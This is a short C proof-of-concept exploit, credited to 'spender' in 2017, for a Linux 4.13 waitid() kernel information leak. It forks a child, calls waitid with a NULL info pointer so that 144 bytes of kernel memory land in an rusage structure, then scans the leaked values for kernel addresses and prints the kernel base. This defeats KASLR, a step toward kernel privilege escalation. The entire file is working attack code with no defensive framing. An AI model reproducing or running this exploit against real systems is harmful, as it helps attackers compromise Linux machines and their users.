/*
 * 4.13 waitid() infoleak, 144 bytes, x64 version for KASLR bypassing
 * (c) spender 2017
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <syscall.h>

int main(void)
{
	int pid;
	struct rusage rusage = { };
	unsigned long *p;
	pid = fork();
	if (pid > 0) {
		syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage);
		printf("Leak size=%d bytes\n", sizeof(rusage));
		for (p = (unsigned long *)&rusage;
		     p < (unsigned long *)((char *)&rusage + sizeof(rusage));
		     p++) {
			if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) {
				printf("Kernel base: 0x%lx\n", *p &~ 0xffffff);
				break;
			}
		}
		exit(0);
	} else if (pid == 0) {
		sleep(1);
		exit(0);
	}
	return 0;
}
